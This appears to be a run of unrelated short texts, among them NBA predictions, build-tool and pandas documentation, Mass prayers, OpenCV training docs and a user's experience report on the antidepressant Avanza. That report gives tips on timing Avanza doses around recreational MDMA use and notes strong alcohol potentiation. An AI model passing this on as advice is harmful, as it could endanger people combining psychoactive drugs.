Game 1: Philadelphia 76ers at Orlando Magic
My Pick:
Philadelphia 76ers
Why I'm Rolling with them:
This will be Butler's first game as a 76er, and it's against a Magic team with a lot of larger younger players for Embiid to rack up fouls against. Having Butler isn't as big a deal for tonight, as they won't need his defensive talents as much. However, his offensive abilities will be appreciated in the 4th quarter, where the Sixers rank near the bottom of the league in scoring. I'm interested in seeing how the Philadelphia spacing is now that they've switched out Covington and Saric for Butler. However it looks, I still have the Sixers winning this one 121-114.
Game 2: Cleveland Cavaliers at Washington Wizards
My Pick:
Washington Wizards
Why I'm Rolling with them:
The Cavaliers suprised me yesterday against Charlotte, but that win happened for two reasons, neither I think is very likely to continue. One: The Hornets, a 36% 3 point shooting team, went 8-41 from three. If that's their season average, they hit 14 of those threes, and they score an additional 18 points. In addition, Clarkson scored 24 points on efficient shooting. I don't see that happening again. The Wizards are just a better team at maybe every position, and should take advantage against this Cleveland team as they win 117-104.
Game 3: Miami Heat at Brooklyn Nets
My Pick:
Miami Heat
Why I'm Rolling with them:
This game would have been a lot more interesting if Levert didn't have a heartbreaking injury against the Timberwolves. This Nets team will need someone else to step up, and I could see Russell being that guy for them. However, that won't be enough against this tough, well rounded Miami Heat team. Dragic is back and had a good game against the 76ers. This Nets team doesn't quite have a strong enough backcourt to deal with Richardson and Dragic, so the Heat take it 110-103.
Game 4: Chicago Bulls at Boston Celtics
My Pick:
Boston Celtics
Why I'm Rolling with them:
The Celtics have won just 1 of their last 5, and that was a 7 point victory over the Suns. This team has looked shaky as of late, and this Bulls team might surprise them. However, the Celtics are first and foremost a good defensive team. The odds of the Bulls putting up a lot of points on this Celtics team is unlikely, plus Kyrie should be able to do some work against the Bulls defense. Not having Markkanen hurts the Bulls ability to space the floor considerably, and the Celtics should be able to take advantage of that. Celtics 115-108.
Game 5: Detroit Pistons at Toronto Raptors
My Pick:
Toronto Raptors
Why I'm Rolling with them:
This should be an interesting game. Toronto has historically performed fairly well against Detroit, but a large part of the reason for that was the presence of DeRozan. Leonard will still be a big upgrade there, and the Raptors should still have an easy time, but it will be interesting to see the coaching battle unfold between Nick Nurse and Dwane Casey as these one-time teammates have no lost love between them. Toronto takes it, 119-110.
Game 6: Memphis Grizzlies at Milwaukee Bucks
My Pick:
Milwaukee Bucks
Why I'm Rolling with them:
The Grizzlies have been steadily trekking along with a top 5 defense in the league. That's a good sign for this Grizzlies team that last year was struggling to win 20 games. However, Milwaukee has the number two offense AND defense. They've been dominant on both sides of the court, and the Grizzlies don't really have anyone to guard Giannis. Memphis losing Dillon Brooks will hurt them tonight as they also will have a harder time defending against Middleton, although Anderson should be fairly capable. Bucks, 120-109.
Game 7: New Orleans Pelicans at Minnesota Timberwolves
My Pick:
New Orleans Pelicans
Why I'm Rolling with them:
The Pelicans will have the pleasure of being the first team to face the new look Timberwolves, who should still be a pretty good team. My main concern regarding the Pelicans is how the AD/KAT matchup is going to go, but I have way more faith in Davis than I do in Towns, especially on the defensive end. Having Jrue to limit Derrick Rose will also help this team do better against Minnesota, who is struggling for creators now. Saric is also not great defensively and I am worried about this Minnesota defense, as the Pelicans will abuse it to win 122-114.
Game 8: New York Knicks at Oklahoma City Thunder
My Pick:
Oklahoma City Thunder
Why I'm Rolling with them:
The Thunder have been playing remarkably well since the loss of Westbrook, and Paul George is the main reason for that. The Thunder's suffocating defense has allowed them to dictate the speed of the game, and they have a knack for forcing their opponents into acts of panic, turning over the ball and allowing an easy bucket. Ferguson has looked very good on the defensive end so far this year, and that bodes well for tonight against a Knicks team that relies on Hardaway Jr. for a significant portion of their points. Thunder win this one 107-99.
Game 9: Utah Jazz at Dallas Mavericks
My Pick:
Utah Jazz
Why I'm Rolling with them:
This is an interesting game, as these two teams have a lot of similar characteristics. I think that at the end of the day, Utah is just better at executing than the Mavericks are, and that will allow them to pull ahead in this one. Doncic down the stretch of games has been really good, but there still seems to be some discontent between this Dallas squad. Because of this, I think that Ingles will be able to limit his effectiveness and put up some nice stats as the Jazz win 117-112.
Game 10: San Antonio Spurs at Phoenix Suns
My Pick:
San Antonio Spurs
Why I'm Rolling with them:
The battle of Texas sees a struggle between two of the best offensive shooting guards in the league in DeRozan and Booker. However, that's where the similarities end. The grinding nature of this Spurs team means that Phoenix will be slowed down to their pace, and the odds of Phoenix being able to stop the half-court offense of this Spurs team is unlikely. For reference, San Antonio is in the top half of the league offensively and defensively. The Suns are last offensively, and 28th defensively. San Antonio should take this pretty easily, 110-99.
Game 11: Portland Trail Blazers at Los Angeles Lakers
My Pick:
Portland Trail Blazers
Why I'm Rolling with them:
The Lakers have looked a lot better after gaining the veteran presence of Tyson Chandler, but this Portland team has looked good throughout the year. I'm definitely a victim of recency bias on a day to day level, but I have faith that Lillard will be able to dish out 25 points tonight as the Blazers give the Lakers all they can handle. LA barely managed to beat the Hawks, and were saved by Kyle Kuzma securing a very important offensive rebound. Portland is better than Atlanta by a significant margin. Portland, 121-114.


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In various places in these docs you might find reference to caches. Please can make use of several caches to speed up its performance which are described here.
In all cases artifacts are only stored in the cache after a successful build or test run.
Please takes a --nocache
flag which disables all caches for an individual run.
This is the simplest kind of cache; it's on by default and simply is a directory tree
(by default ~/.cache/please
or ~/Library/Caches/please
)
containing various versions of built artifacts. The main advantage of this is that it allows
extremely fast rebuilds when swapping between different versions of code
(notably git branches).
Note that the dir cache is not threadsafe or locked in any way beyond plz's normal repo lock, so sharing the same directory between multiple projects is probably a Bad Idea.
This is a more advanced cache which, as one would expect, can run on a centralised machine to share artifacts between multiple clients. It has a reasonably simple API, for reference:
GET /artifact/{os_name}/{artifact}
: Retrieves a particular artifact.POST /artifact/{os_name}/{artifact}
: Stores a particular artifact.DELETE /artifact/{artifact}
: Deletes all versions of a given artifact.DELETE /
: Deletes all artifacts.The cache runs as a daemon and is fully threadsafe so is of course safe for multiple clients to attempt to store / retrieve artifacts simultaneously. Because it's a daemon it maintains its own stats about what artifacts it has so can be a little more intelligent than the dir cache about what it should delete and when.
Please comes with an implementation of this cache as a standalone binary.
Thanks to Diana Costea who implemented the original version of this as part of her internship with us, and prodded us into getting on and actually deploying it for our CI servers.
This is very similar conceptually to the HTTP cache, but uses gRPC for communication (of course that uses HTTP itself underneath). The motivation was partly that we realised fairly late that our cache semantics sometimes require multiple files to be communicated in a single request, which implied multipart encodings which are of course not great fun. We also felt that we could get better performance this way too. An awful lot of the internal code is shared with the HTTP server so only the transport layer really differs.
The API can be found in src/cache/proto/rpc_cache.proto
. It's not very complex
so would not be hard to implement, although again Please comes with an implementation of this
cache as a standalone binary.
Our current CI setup leans very heavily on these caches; every checkin to master triggers a build of our repo in a clean environment, so initially nothing is present in plz-out. The build machines maintain a local directory cache though which ensures things are pretty fast (the penalty for a cache hit is obviously a bit worse than having the artifact in plz-out already, but it's pretty quick).
The build machines all push artifacts into a single central RPC cache and pull them back again as needed, so generally after an initial test run of a PR subsequent builds are fast. Developer machines use the RPC cache in read-only mode so can partake in these too; it would be nice if everyone was read-write but generally the shared cache is vulnerable to developers having incompatible machine setups (for example, different Go versions, even minor ones, cannot share compiled artifacts so many bad things will happen if developers aren't all on exactly the same one). A very long-term goal is for Please to have better insight into the machine-level deps of these things which would potentially allow everyone to have read-write access.
Theoretically Please ensures hashes are as expected before storing or retrieving artifacts, but as just noted there are ways to cause problems nonetheless. Hence the various caches store artifacts in a pretty obvious filesystem structure analogous to the repo structure itself, so if any single artifact is wrong it's not hard to excise it.


Series.
replace
Replace values given in to_replace with value.
Values of the Series are replaced with other values dynamically. This differs from updating with .loc or .iloc, which require you to specify a location to update with some value.
.loc
.iloc
How to find the values that will be replaced.
numeric, str or regex:
numeric: numeric values equal to to_replace will be replaced with value str: string exactly matching to_replace will be replaced with value regex: regexs matching to_replace will be replaced with value
numeric: numeric values equal to to_replace will be replaced with value
str: string exactly matching to_replace will be replaced with value
regex: regexs matching to_replace will be replaced with value
list of str, regex, or numeric:
First, if to_replace and value are both lists, they must be the same length. Second, if regex=True then all of the strings in both lists will be interpreted as regexs otherwise they will match directly. This doesn’t matter much for value since there are only a few possible substitution regexes you can use. str, regex and numeric rules apply as above.
First, if to_replace and value are both lists, they must be the same length.
Second, if regex=True then all of the strings in both lists will be interpreted as regexs otherwise they will match directly. This doesn’t matter much for value since there are only a few possible substitution regexes you can use.
regex=True
str, regex and numeric rules apply as above.
dict:
Dicts can be used to specify different replacement values for different existing values. For example, {'a': 'b', 'y': 'z'} replaces the value ‘a’ with ‘b’ and ‘y’ with ‘z’. To use a dict in this way the value parameter should be None. For a DataFrame a dict can specify that different values should be replaced in different columns. For example, {'a': 1, 'b': 'z'} looks for the value 1 in column ‘a’ and the value ‘z’ in column ‘b’ and replaces these values with whatever is specified in value. The value parameter should not be None in this case. You can treat this as a special case of passing two lists except that you are specifying the column to search in. For a DataFrame nested dictionaries, e.g., {'a': {'b': np.nan}}, are read as follows: look in column ‘a’ for the value ‘b’ and replace it with NaN. The value parameter should be None to use a nested dict in this way. You can nest regular expressions as well. Note that column names (the top-level dictionary keys in a nested dictionary) cannot be regular expressions.
Dicts can be used to specify different replacement values for different existing values. For example, {'a': 'b', 'y': 'z'} replaces the value ‘a’ with ‘b’ and ‘y’ with ‘z’. To use a dict in this way the value parameter should be None.
{'a': 'b', 'y': 'z'}
For a DataFrame a dict can specify that different values should be replaced in different columns. For example, {'a': 1, 'b': 'z'} looks for the value 1 in column ‘a’ and the value ‘z’ in column ‘b’ and replaces these values with whatever is specified in value. The value parameter should not be None in this case. You can treat this as a special case of passing two lists except that you are specifying the column to search in.
{'a': 1, 'b': 'z'}
None
For a DataFrame nested dictionaries, e.g., {'a': {'b': np.nan}}, are read as follows: look in column ‘a’ for the value ‘b’ and replace it with NaN. The value parameter should be None to use a nested dict in this way. You can nest regular expressions as well. Note that column names (the top-level dictionary keys in a nested dictionary) cannot be regular expressions.
{'a': {'b': np.nan}}
None:
This means that the regex argument must be a string, compiled regular expression, or list, dict, ndarray or Series of such elements. If value is also None then this must be a nested dictionary or Series.
See the examples section for examples of each of these.
Value to replace any values matching to_replace with. For a DataFrame a dict of values can be used to specify which value to use for each column (columns not in the dict will not be filled). Regular expressions, strings and lists or dicts of such objects are also allowed.
If True, in place. Note: this will modify any other views on this object (e.g. a column from a DataFrame). Returns the caller if this is True.
Maximum size gap to forward or backward fill.
Whether to interpret to_replace and/or value as regular expressions. If this is True then to_replace must be a string. Alternatively, this could be a regular expression or a list, dict, or array of regular expressions in which case to_replace must be None.
True
The method to use when for replacement, when to_replace is a scalar, list or tuple and value is None.
Changed in version 0.23.0: Added to DataFrame.
Object after replacement.
If regex is not a bool and to_replace is not None.
bool
If to_replace is a dict and value is not a list, dict, ndarray, or Series
dict
list
ndarray
Series
If to_replace is None and regex is not compilable into a regular expression or is a list, dict, ndarray, or Series.
When replacing multiple bool or datetime64 objects and the arguments to to_replace does not match the type of the value being replaced
datetime64
If a list or an ndarray is passed to to_replace and value but they are not the same length.
See also
Series.fillna
Fill NA values.
Series.where
Replace values based on boolean condition.
Series.str.replace
Simple string replacement.
Notes
Regex substitution is performed under the hood with re.sub. The rules for substitution for re.sub are the same.
re.sub
Regular expressions will only substitute on strings, meaning you cannot provide, for example, a regular expression matching floating point numbers and expect the columns in your frame that have a numeric dtype to be matched. However, if those floating point numbers are strings, then you can do this.
This method has a lot of options. You are encouraged to experiment and play with this method to gain intuition about how it works.
When dict is used as the to_replace value, it is like key(s) in the dict are the to_replace part and value(s) in the dict are the value parameter.
Examples
Scalar `to_replace` and `value`
>>> s = pd.Series([0, 1, 2, 3, 4]) >>> s.replace(0, 5) 0 5 1 1 2 2 3 3 4 4 dtype: int64
>>> df = pd.DataFrame({'A': [0, 1, 2, 3, 4], ... 'B': [5, 6, 7, 8, 9], ... 'C': ['a', 'b', 'c', 'd', 'e']}) >>> df.replace(0, 5) A B C 0 5 5 a 1 1 6 b 2 2 7 c 3 3 8 d 4 4 9 e
List-like `to_replace`
>>> df.replace([0, 1, 2, 3], 4) A B C 0 4 5 a 1 4 6 b 2 4 7 c 3 4 8 d 4 4 9 e
>>> df.replace([0, 1, 2, 3], [4, 3, 2, 1]) A B C 0 4 5 a 1 3 6 b 2 2 7 c 3 1 8 d 4 4 9 e
>>> s.replace([1, 2], method='bfill') 0 0 1 3 2 3 3 3 4 4 dtype: int64
dict-like `to_replace`
>>> df.replace({0: 10, 1: 100}) A B C 0 10 5 a 1 100 6 b 2 2 7 c 3 3 8 d 4 4 9 e
>>> df.replace({'A': 0, 'B': 5}, 100) A B C 0 100 100 a 1 1 6 b 2 2 7 c 3 3 8 d 4 4 9 e
>>> df.replace({'A': {0: 100, 4: 400}}) A B C 0 100 5 a 1 1 6 b 2 2 7 c 3 3 8 d 4 400 9 e
Regular expression `to_replace`
>>> df = pd.DataFrame({'A': ['bat', 'foo', 'bait'], ... 'B': ['abc', 'bar', 'xyz']}) >>> df.replace(to_replace=r'^ba.$', value='new', regex=True) A B 0 new abc 1 foo new 2 bait xyz
>>> df.replace({'A': r'^ba.$'}, {'A': 'new'}, regex=True) A B 0 new abc 1 foo bar 2 bait xyz
>>> df.replace(regex=r'^ba.$', value='new') A B 0 new abc 1 foo new 2 bait xyz
>>> df.replace(regex={r'^ba.$': 'new', 'foo': 'xyz'}) A B 0 new abc 1 xyz new 2 bait xyz
>>> df.replace(regex=[r'^ba.$', 'foo'], value='new') A B 0 new abc 1 new new 2 bait xyz
Note that when replacing multiple bool or datetime64 objects, the data types in the to_replace parameter must match the data type of the value being replaced:
>>> df = pd.DataFrame({'A': [True, False, True], ... 'B': [False, True, False]}) >>> df.replace({'a string': 'new value', True: False}) # raises Traceback (most recent call last): ... TypeError: Cannot compare types 'ndarray(dtype=bool)' and 'str'
This raises a TypeError because one of the dict keys is not of the correct type for replacement.
TypeError
Compare the behavior of s.replace({'a': None}) and s.replace('a', None) to understand the peculiarities of the to_replace parameter:
s.replace({'a': None})
s.replace('a', None)
>>> s = pd.Series([10, 'a', 'a', 'b', 'a'])
When one uses a dict as the to_replace value, it is like the value(s) in the dict are equal to the value parameter. s.replace({'a': None}) is equivalent to s.replace(to_replace={'a': None}, value=None, method=None):
s.replace(to_replace={'a': None}, value=None, method=None)
>>> s.replace({'a': None}) 0 10 1 None 2 None 3 b 4 None dtype: object
When value=None and to_replace is a scalar, list or tuple, replace uses the method parameter (default ‘pad’) to do the replacement. So this is why the ‘a’ values are being replaced by 10 in rows 1 and 2 and ‘b’ in row 4 in this case. The command s.replace('a', None) is actually equivalent to s.replace(to_replace='a', value=None, method='pad'):
value=None
s.replace(to_replace='a', value=None, method='pad')
>>> s.replace('a', None) 0 10 1 10 2 10 3 b 4 b dtype: object


Forwarning: I have bipolar, so experienced may change for people with regular depression.
Okay, my doctor, a GP trained specially in depressive illnesses decided to put me on Avanza. He said he hadn't had much experience with it yet, and nearly no feedback from his patients who were trying it.
I started on 30mg daily, just before dinner. First things I noticed were that I got very, very sleepy. I'd sleep for 12-16 hours at a time. This lasted for around two weeks. I'm pretty thin (60kg) and Avanza gave me a MASSIVE appetite. I could eat endlessly. So for me, this was a wonder drug. I had insomnia for two years, and in recent times it had begun to get worse. Avanza was like a knock-out pill for me. I started taking it before sleep. It would allow me to fall asleep easily, and sleep right through the night. It also made me gain weight, which gave me more confidence in my self, helping cure my depression. After a while, the Avanza stopped helping me with sleep. So I upped my dose to 60mg daily.
Unlike SSRI's, I have no erectile disfunction or difficulty reaching orgasm. How ever, for the intial two weeks I was taking it, it messed around with my system a bit. Sometimes it would take hours to reach orgasm, sometimes five minutes. But that phase quickly passed. One thing I noticed with some antidepressents is that the sexual disfunction that comes with treating depression often just makes the depression worse. That's why I love Avanza.
Now on to the rare side effects. It gives me very vivid and long dreams. It feels like from the moment my eyes shut to the moment I awake was one long dream, or sometimes, several hundred dreams. The other rare side effect is hallucinations. Nothing terrible, they don't scare me as much as they scare the people who see me whitnessing them. They're very short lived. Lasting only 5 seconds.
As a recreation drug user, it's also pretty cool. Say you want to use MDMA on a Saturday, take a half dose of Avanza on Friday, and no dose on Saturday, and it's clear sailing. SSRI's often take up to two weeks to leave my system, so no MDMA for that time. For an antidepressent, Avanza is a pretty strong alcohol potentiator.
Now my only issue with it is that I can't get off it. My depression is completely cured, apart from my downtime from bipolar (my depression used to be 24/7), but I can't get off it. If I wean my self off, I get horrible insomnia and am unable to eat. I'll start losing weight drastically. So now I just take it out of habit, and the fact that my body has grown used to it. I can't complain, it made me gain 7kg of weight, which makes me look much more healthy.
Overall, I am happy with Avanza.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


public abstract class FormElementViewHolder<E extends FormElement>
extends java.lang.Object
FormElement
and to maintain it's functionality
Created by eltos on 23.02.17.| Modifier and Type | Field and Description |
|---|---|
protected E |
field
The FormElement that this ViewHolder represents.
|
| Modifier | Constructor and Description |
|---|---|
protected |
FormElementViewHolder(E field) |
| Modifier and Type | Method and Description |
|---|---|
protected abstract boolean |
focus(SimpleFormDialog.FocusActions actions)
Method to focus this element
|
protected abstract int |
getContentViewLayout()
Implement this method to return a custom layout resource id for this view
|
protected abstract boolean |
posButtonEnabled(android.content.Context context)
Method to check for empty input, (un-)checked state etc.
|
protected abstract void |
putResults(android.os.Bundle results,
java.lang.String key)
Method to publish results from this view in
SimpleDialog.OnDialogResultListener.onResult(java.lang.String, int, android.os.Bundle) |
protected abstract void |
saveState(android.os.Bundle outState)
Method to save this elements state
Bundles are maintained on a per-view basis, so that keys can be arbitrary
|
protected abstract void |
setUpView(android.view.View view,
android.content.Context context,
android.os.Bundle savedInstanceState,
SimpleFormDialog.DialogActions actions)
Implement this method to setup your view for the first time or after a
saveState(android.os.Bundle) |
protected abstract boolean |
validate(android.content.Context context)
Method to validate input, state etc. and display an error message or indicator
|
protected E extends FormElement field
protected FormElementViewHolder(E field)
@LayoutRes protected abstract int getContentViewLayout()
protected abstract void setUpView(android.view.View view, android.content.Context context, android.os.Bundle savedInstanceState, SimpleFormDialog.DialogActions actions)
saveState(android.os.Bundle)
view
- The view that was inflated using the layout from
getContentViewLayout()
context
- The context of this viewsavedInstanceState
- A bundle containing everything that was saved in
saveState(Bundle)
actions
- A callback for convenient methods. See SimpleFormDialog.DialogActions
protected abstract void saveState(android.os.Bundle outState)
outState
- The bundle to save the state toprotected abstract void putResults(android.os.Bundle results, java.lang.String key)
SimpleDialog.OnDialogResultListener.onResult(java.lang.String, int, android.os.Bundle)
results
- The bundle to save the results tokey
- The key that has to be used when storing results in the bundleprotected abstract boolean focus(SimpleFormDialog.FocusActions actions)
actions
- An object providing useful callbacks, see SimpleFormDialog.FocusActions
protected abstract boolean posButtonEnabled(android.content.Context context)
context
- A contextprotected abstract boolean validate(android.content.Context context)
context
- A context


--- layout: archivemain header: overlay_color: "#000" overlay_image: code-header.jpg excerpt: "Code answers to everyday questions" author_profile: false --- {% include base_path %}


Advanced Music Performance Student Recital: Joyce Kwan '10, violin
- Friday, February 15, 2008
5:00pm-6:00pm
- 14W-11, Killian Hall
- MIT Advanced Music Performance students appear in recital as part of their course requirements. Students enrolled in this subject receive full funding from Emerson Music Fellowships for private study on their instrument.
-<PHONE_NUMBER>
- http://artscal.mit.edu
Categorized as: music, theater


| Total net profit | -24.5 | Gross profit | 0.01 | Gross loss | -24.51 |
| Profit factor | 0.0 | Expected payoff | -1.36 | ||
| Absolute drawdown | -24.51 | Maximal drawdown (%) | 22.91 (-1431.88%) | ||
| Total trades | 18 | Profit trades (% of total) | 1 (5.56%) | Loss trades (% of total) | 17 (94.44%) |
| Long positions (won %) | 10 (10.0%) | Short positions (won %) | 8 (0.0%) | ||
| Largest | profit trade | 0.01 | loss trade | -2.94 | |
| Average | profit trade | 0.01 | loss trade | -1.44 | |
| Minimum | profit trade | 0.01 | loss trade | -0.6 | |
| Maximum | take profit in pips | 74.8 | stop loss in pips | -162.7 | |
| Average | take profit in pips | 37.6 | stop loss in pips | -57.9 | |
| Minimum | take profit in pips | -35.7 | stop loss in pips | -24.6 | |
| Maximum | Reward-Risk | 2.6 | Duration in minutes | 36504 | |
| Average | Reward-Risk | 1.2 | Duration in minutes | 4448.7 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 190 | |
| Maximum | consecutive wins (profit in money) | 1.0 (0.01) | consecutive losses (loss in money) | 17.0 (-24.51) | |
| Average | consecutive wins | 1.0 | consecutive losses | 17.0 |
| Total net profit | -14.09 | Gross profit | 0.01 | Gross loss | -14.1 |
| Profit factor | 0.0 | Expected payoff | -1.41 | ||
| Absolute drawdown | -14.1 | Maximal drawdown (%) | 12.5 (-781.25%) | ||
| Total trades | 10 | Profit trades (% of total) | 1 (10.0%) | Loss trades (% of total) | 9 (90.0%) |
| Largest | profit trade | 0.01 | loss trade | -2.17 | |
| Average | profit trade | 0.01 | loss trade | -1.57 | |
| Minimum | profit trade | 0.01 | loss trade | -0.6 | |
| Maximum | take profit in pips | 43.0 | stop loss in pips | -162.7 | |
| Average | take profit in pips | 16.1 | stop loss in pips | -75.1 | |
| Minimum | take profit in pips | -35.7 | stop loss in pips | -37.0 | |
| Maximum | Reward-Risk | 1.0 | Duration in minutes | 14455.0 | |
| Average | Reward-Risk | 0.4 | Duration in minutes | 4110.7 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 824.0 | |
| Maximum | consecutive wins (profit in money) | 1.0 (0.01) | consecutive losses (loss in money) | 9.0 (-14.1) | |
| Average | consecutive wins | 1.0 | consecutive losses | 9.0 |
| Total net profit | -10.41 | Gross profit | 0.0 | Gross loss | -10.41 |
| Profit factor | 0.0 | Expected payoff | -1.3 | ||
| Absolute drawdown | -10.41 | Maximal drawdown (%) | 8.83 (-558.86%) | ||
| Total trades | 8 | Profit trades (% of total) | 0 (0.0%) | Loss trades (% of total) | 8 (100.0%) |
| Largest | profit trade | 0.0 | loss trade | -2.94 | |
| Average | profit trade | 0.0 | loss trade | -1.3 | |
| Minimum | profit trade | 0.0 | loss trade | -0.69 | |
| Maximum | take profit in pips | 74.8 | stop loss in pips | -107.0 | |
| Average | take profit in pips | 64.5 | stop loss in pips | -36.5 | |
| Minimum | take profit in pips | 57.8 | stop loss in pips | -24.6 | |
| Maximum | Reward-Risk | 2.6 | Duration in minutes | 36504.0 | |
| Average | Reward-Risk | 2.2 | Duration in minutes | 4871.1 | |
| Minimum | Reward-Risk | Duration in minutes | 190.0 | ||
| Maximum | consecutive wins (profit in money) | 0.0 (0.0) | consecutive losses (loss in money) | 8.0 (-10.41) | |
| Average | consecutive wins | 0.0 | consecutive losses | 8.0 |


HOLY SPIRIT B
In this Mass, the
colour red is used.
ENTRANCE ANTIPHON
When the Spirit of truth comes, he will teach you all truth, says the Lord.
COLLECT
May the
Paraclete who proceeds from you, we pray, O Lord, enlighten our minds and lead
us into all truth, just as your Son has promised. Who lives and reigns with you
in the unity of the Holy Spirit, one God, for ever and ever.
Or:
O God, to whom every heart lies open, every desire speaks plainly and from whom no secret is hidden, cleanse, we pray, the thoughts of our heart by the outpouring of the Holy Spirit, that we may merit to love you perfectly and offer you worthy praise. Through our Lord Jesus Christ, your Son, who lives and reigns with you in the unity of the Holy Spirit, one God, for ever and ever.
Readings of Pentecost or Others
PRAYER OVER THE OFFERINGS
Look, we pray, O Lord, on the spiritual sacrifice placed on your altar with loving devotion and give your servants a right spirit, so that their faith may make these gifts pleasing to you and their humility commend them. Through Christ our Lord.
COMMUNION ANTIPHON
The Spirit, whom I will send you from the Father, will glorify me, says the Lord.
PRAYER AFTER COMMUNION
Lord our God,
who have been pleased to nourish us with heavenly food, pour, we pray, the
delights of your Spirit into the recesses of our heart, that what we have
devoutly received in time we may possess as a gift for eternity. Through Christ
our Lord.


CORNISH SORCERERS.
THE powers of the sorcerer appear to have been passed on from father to son through a long succession of generations.
There are many families--the descendants from the ancient Cornish people--who are even yet supposed to possess remarkable powers of one kind or another. Several families, which have become extinct, are more especially reputed by tradition to have had dealings with the bad spirits, and mans of them to have made compacts with the Evil One himself. Amongst the most curious of the stories once told,--I believe they are nearly all forgotten,--are those connected with Pengerswick Castle. A small tower alone remains to note the site of a once famous fortified place. This castle was said to have been occupied, in the time of Henry VIII., by a man who had committed some great crime; but long previous to that period the place was famous for its wickedness. [a]
[a] See Appendix V.


Over the past seven years since we started Womenaid of Central MA, we’ve helped hundreds of individuals and families in Worcester County in many ways like providing groceries, paying a bill, fuel assistance, clothing, medical bill assistance, and much more!
Here are a few examples of the types of assistance we’ve provided and the lives we’ve touched:


UPDATE-DESKTOP-DATABASE(1) UPDATE-DESKTOP-DATABASE(1) NAME update-desktop-database - Build cache database of MIME types handled by desktop files SYNOPSIS update-desktop-database [-q|--quiet] [-v|--verbose] [DIRECTORY...] DESCRIPTION The update-desktop-database program is a tool to build a cache database of the MIME types handled by desktop files. The cache database contains the list of MIME types that can be handled by desktop files, as well as, for each MIME type, a list of desktop files that can handle this MIME type. This cache database ease the work of applications that need to find an application that can open a document of a specific MIME type: those applications will not have to parse all the desktop files existing on the system, and can instead parse this cache database. If no DIRECTORY is specified as argument, the desktop files that will be processed are the ones installed in $XDG_DATA_DIRS/applications. If both the --quiet and --verbose options are used, then --verbose will be ignored. OPTIONS The following options are supported: -q, --quiet Do not display any information about processing and updating progress. -v, --verbose Display more information about processing and updating progress. NOTES If an invalid MIME type is met, it will be ignored and the creation of the cache database will continue. The format of the cache database is a simple desktop entry format, with a MIME Cache group, containing one key per MIME type. The key name is the MIME type, and the key value is the list of desktop file that can handle this MIME type. The order of the desktop files found for a MIME type is not significant. Therefore, an external mechanism must be used to determine what is the preferred desktop file for a MIME type. EXAMPLE Here is a simple example of a cache database: [MIME Cache] application/x-shellscript=gedit.desktop; text/plain=gedit.desktop;gvim.desktop; video/webm=totem.desktop; This cache database is created with three desktop files, each containing a MimeType key: gedit.desktop: MimeType=text/plain;application/x-shellscript; gvim.desktop: MimeType=text/plain; totem.desktop: MimeType=video/webm; FILES $XDG_DATA_DIRS/applications/mimeinfo.cache This file is the cache database created by update-desktop-data‐ base. BUGS If you find bugs in the update-desktop-database program, please report these on https://bugs.freedesktop.org. FREEDESKTOP.ORG UPDATE-DESKTOP-DATABASE(1)


This document describes how to train and use a cascade of boosted classifiers for rapid object detection. A large set of over-complete haar-like features provide the basis for the simple individual classifiers. Examples of object detection tasks are face, eye and nose detection, as well as logo detection.
The sample detection task in this document is logo detection, since logo detection does not require the collection of large set of registered and carefully marked object samples. Instead we assume that from one prototype image, a very large set of derived object examples can be derived (createsamples utility, see below).
A detailed description of the training/evaluation algorithm can be found in [1] and [2].
For training a training samples must be collected. There are two sample types: negative samples and positive samples. Negative samples correspond to non-object images. Positive samples correspond to object images.
Negative samples are taken from arbitrary images. These images must not contain object representations. Negative samples are passed through background description file. It is a text file in which each text line contains the filename (relative to the directory of the description file) of negative sample image. This file must be created manually. Note that the negative samples and sample images are also called background samples or background samples images, and are used interchangeably in this document
Example of negative description file:
Directory structure:
/img
img1.jpg
img2.jpg
bg.txt
File bg.txt:
img/img1.jpg
img/img2.jpg
Positive samples are created by createsamples
utility. They may be created from single object image or from collection of
previously marked up images.
The single object image may for instance contain a company logo. Then are large set of positive samples are created from the given object image by randomly rotating, changing the logo color as well as placing the logo on arbitrary background.
The amount and range of randomness can be controlled by command line arguments.
Command line arguments:
- vec <vec_file_name>
name of the output file containing the positive samples for training
- img <image_file_name>
source object image (e.g., a company logo)
- bg <background_file_name>
background description file; contains a list of images into which randomly distorted versions of the object are pasted for positive sample generation
- num <number_of_samples>
number of positive samples to generate
- bgcolor <background_color>
background color (currently grayscale images are assumed); the background color denotes the transparent color. Since there might be compression artifacts, the amount of color tolerance can be specified by –bgthresh. All pixels between bgcolor-bgthresh and bgcolor+bgthresh are regarded as transparent.
- bgthresh <background_color_threshold>
- inv
if specified, the colors will be inverted
- randinv
if specified, the colors will be inverted randomly
- maxidev <max_intensity_deviation>
maximal intensity deviation of foreground samples pixels
- maxxangle <max_x_rotation_angle>,
- maxyangle <max_y_rotation_angle>,
- maxzangle <max_z_rotation_angle>
maximum rotation angles in radians
-show
if specified, each sample will be shown. Pressing ‘Esc’ will continue creation process without samples showing. Useful debugging option.
- w <sample_width>
width (in pixels) of the output samples
- h <sample_height>
height (in pixels) of the output samples
For following procedure is used to create a sample object instance:
The source image is rotated random around all three axes. The chosen angle is limited my -max?angle. Next pixels of intensities in the range of [bg_color-bg_color_threshold; bg_color+bg_color_threshold] are regarded as transparent. White noise is added to the intensities of the foreground. If –inv key is specified then foreground pixel intensities are inverted. If –randinv key is specified then it is randomly selected whether for this sample inversion will be applied. Finally, the obtained image is placed onto arbitrary background from the background description file, resized to the pixel size specified by –w and –h and stored into the file specified by the –vec command line parameter.
Positive samples also may be obtained from a collection of previously marked up images. This collection is described by text file similar to background description file. Each line of this file corresponds to collection image. The first element of the line is image file name. It is followed by number of object instances. The following numbers are the coordinates of bounding rectangles (x, y, width, height).
Example of description file:
Directory structure:
/img
img1.jpg
img2.jpg
info.dat
File info.dat:
img/img1.jpg 1 140 100 45 45
img/img2.jpg 2 100 200 50 50 50 30 25 25
Image img1.jpg contains single object instance with bounding rectangle (140, 100, 45, 45). Image img2.jpg contains two object instances.
In order to create positive samples from such collection –info argument should be specified instead of –img:
- info <collection_file_name>
description file of marked up images collection
The scheme of sample creation in this case is as follows. The object instances are taken from images. Then they are resized to samples size and stored in output file. No distortion is applied, so the only affecting arguments are –w, -h, -show and –num.
createsamples utility may be used for examining samples stored in positive samples file. In order to do this only –vec, –w and –h parameters should be specified.
Note that for training, it does not matter how positive samples files are generated. So the createsamples utility is only one way to collect/create a vector file of positive samples.
The next step after samples creation is training of classifier. It is performed by the haartraining utility.
Command line arguments:
- data <dir_name>
directory name in which the trained classifier is stored
